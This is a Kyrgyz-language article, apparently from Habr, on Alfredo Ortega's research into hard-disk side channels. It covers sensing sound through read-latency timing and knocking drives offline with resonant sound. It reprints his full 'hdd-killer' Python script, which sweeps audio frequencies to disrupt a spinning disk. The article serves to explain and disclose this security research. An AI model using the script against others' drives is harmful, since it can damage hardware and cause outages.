Эмне үчүн катуу дискиңизге кыйкырбашыңыз керек

Эмне үчүн катуу дискиңизге кыйкырбашыңыз керек

Буэнос-Айрестеги Ekoparty 2017 компьютердик коопсуздук конференциясында аргентиналык хакер Альфредо Ортега абдан кызыктуу өнүгүүнү көрсөттү - микрофонду колдонбостон жайларды тымызын тыңшоо системасын. Үн катуу дискке түздөн-түз жазылган!

HDD негизинен жогорку интенсивдүү төмөнкү жыштыктагы үндөрдү, кадамдарды жана башка титирөөлөрдү кабыл алат. Окумуштуулар болсо да, адамдын сүйлөө жөндөмүн азырынча таануу мүмкүн эмес бул багытта изилдеелерду жургузуп жатышат (мисалы, гироскоптон же HDDден жазылган төмөнкү жыштыктагы термелүүлөр аркылуу кепти таануу).

Үн - абанын же башка чөйрөнүн термелүүсү. Адам аларды ички кулакка термелүүлөрдү өткөрүүчү кулак капкагы аркылуу кабылдайт. Микрофон болжол менен кулакка окшош жасалган – бул жерде да термелүүлөр электрдик импульсту козгогон жука мембрана аркылуу жазылат. Катуу диск, албетте, айланадагы абанын термелүүсүнөн улам микроскопиялык термелүүлөргө да дуушар болот. Бул катуу дисктердин техникалык мүнөздөмөлөрүнөн да белгилүү: өндүрүүчүлөр, адатта, максималдуу жол берилген титирөө деңгээлин көрсөтүшөт, ал эми катуу дисктин өзү көбүнчө аны резинадан же башка изоляциялоочу материалдан жасалган титирөөдөн корголгон идишке салууга аракет кылат. Ушундан улам HDD аркылуу үндөрдү жаздырууга болот деген тыянак чыгарууга болот. Болгону, кантип аныктоо керек.

Альфредо Ортега каптал-канал чабуулунун уникалдуу версиясын, тактап айтканда, убакыт чабуулун сунуштады. Бул чабуул берилген киргизүү маалыматтарына жараша ар кандай операциялар ар кандай убакта аппаратта аткарылат деген божомолго негизделген. Бул учурда, "киргизүүчү маалыматтар" бул чөйрөнүн титирөөлөрү менен, башкача айтканда, үн менен байланышта болгон окуу башынын жана HDD пластинанын титирөөлөрү. Ошентип, эсептөө убактысын өлчөө жана маалыматтардын статистикалык анализин жүргүзүү менен баштын/пластинанын термелүүсүн жана демек, чөйрөнүн термелүүсүн ченесе болот. Маалыматтарды окуудагы кечигүүлөр канчалык узак болсо, HDD термелүүсү ошончолук күчтүү болот, демек, үн ошончолук катуураак болот.

Катуу дисктин титирөөнү кантип өлчөө керек? Абдан жөнөкөй: жөн гана тутумдук чалууну иштетиңиз read () — жана аны аягына чыгарууга кеткен убакытты жазыңыз. Заманбап операциялык системалар наносекунддук тактык менен системалык чалуулардын убактысын окууга мүмкүндүк берет.

Сектордон маалыматты окуу ылдамдыгы HDD корпусунун титирөөсүнө жараша баштын жана табактын абалына жараша болот. Баары болду.

Статистикалык талдоо жөнөкөй Kscope утилитасын колдонуу менен жүргүзүлөт. Алар айткандай, гениалдуу нерсенин баары жөнөкөй.

Эмне үчүн катуу дискиңизге кыйкырбашыңыз керек
Kscope утилитасы (stat() syscall)

Kscope - бул системалык чалууларды аткаруу убакыттарындагы кичинекей айырмачылыктарды визуализациялоо үчүн чакан программа. Баштапкы кодGitHub сайтында жарыяланган.

Өзүнчө репозиторийде HDD-убакыт катуу дискке убакыт чабуулу үчүн конфигурацияланган утилитанын версиясы бар, башкача айтканда, системалык чалууларды талдоо үчүн конфигурацияланган read ().

HDD аркылуу үн жазууну көрсөтүү, Kscope утилитасынын иштеши


Албетте, сөздү мындай түшүнүүгө болбойт, бирок HDD титирөө сенсору катары абдан ылайыктуу. Мисалы, катуу бут кийим кийген же жылаңаяк адам компьютери бар бөлмөгө кирсе, каттала аласыз (балким, эгерде кол салган адам жумшак кроссовка кийип жүрсө же жерде калың килем болсо, HDD дирилдөөлөрдү каттай албайт - бул текшерүүгө татыктуу). Компьютер сынган айнекти же катуу үн интенсивдүүлүгү менен башка инциденттерди каттай алат. Башкача айтканда, катуу диск уруксатсыз кирүүнү аныктоо системасынын бир түрү катары кызмат кыла алат.

HDD өлтүргүч

Айтмакчы, ушундай эле ыкманы катуу дисктерди өчүрүү үчүн колдонсо болот. Бул жерде гана биз HDDден термелүүнү алып салбайбыз, тескерисинче, HDDге азыктанган термелүүлөрдү жаратабыз. Эгерде сиз динамиктен үндү HDD жыштыгы менен резонанстуу жыштыкта ​​ойнотсоңуз, система жакында I/O катасы менен аппаратты өчүрөт (Linux ядросу HDDди 120 секунддан кийин толугу менен өчүрөт). Катуу дисктин өзү орду толгус зыянга учурашы мүмкүн.

Эмне үчүн катуу дискиңизге кыйкырбашыңыз керек
Linux ядросу катуу дискти Edifier r120u USB динамигинин динамиги аркылуу резонанстык жыштыктагы үндү 19 секунддан кийин өчүрдү. Динамик кубаттуулуктун төрттөн бир бөлүгүндө (100 мВттан аз) күйгүзүлөт жана дирилдөөлөрдү күчөтүү үчүн столго багытталган HDDден 20 см аралыкта жайгашкан. Кадрдан видео HDD өлтүргүчтүн демонстрациясы менен

HDDге мындай "чабуулдар" кээде күнүмдүк жашоодо кокусунан болуп жатканы кызык. Мисалы, 2016-жылдын сентябрында ING Bank маалымат борбору өрткө каршы машыгуудан кийин ишин 10 саатка токтотууга аргасыз болгон. Ондогон катуу дисктер иштебей калды жогорку басым астында баллондордон чыгып жаткан инерттүү газдын катуу үнүнөн улам. Үн абдан катуу болгон (130 дБден ашык), бирок сиз катуу дисктерге кыйкыра албайсыз - бул HDDге кирүү кечигүүсүн көбөйтөт.

Маалымат борборундагы катуу дисктерге адамдын кыйкырыгын көрсөтүү. Кечигүүнү өлчөө


резонанстуу үн чыгаруу үчүн, Alfredo Ortega деп аталган Python скрипт жазган hdd-киллер (видео демонстрация).

HDD өлтүргүч скрипт Бул абдан кичинекей, ошондуктан бул жерде толугу менен жарыялай аласыз.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Комментарий кошуу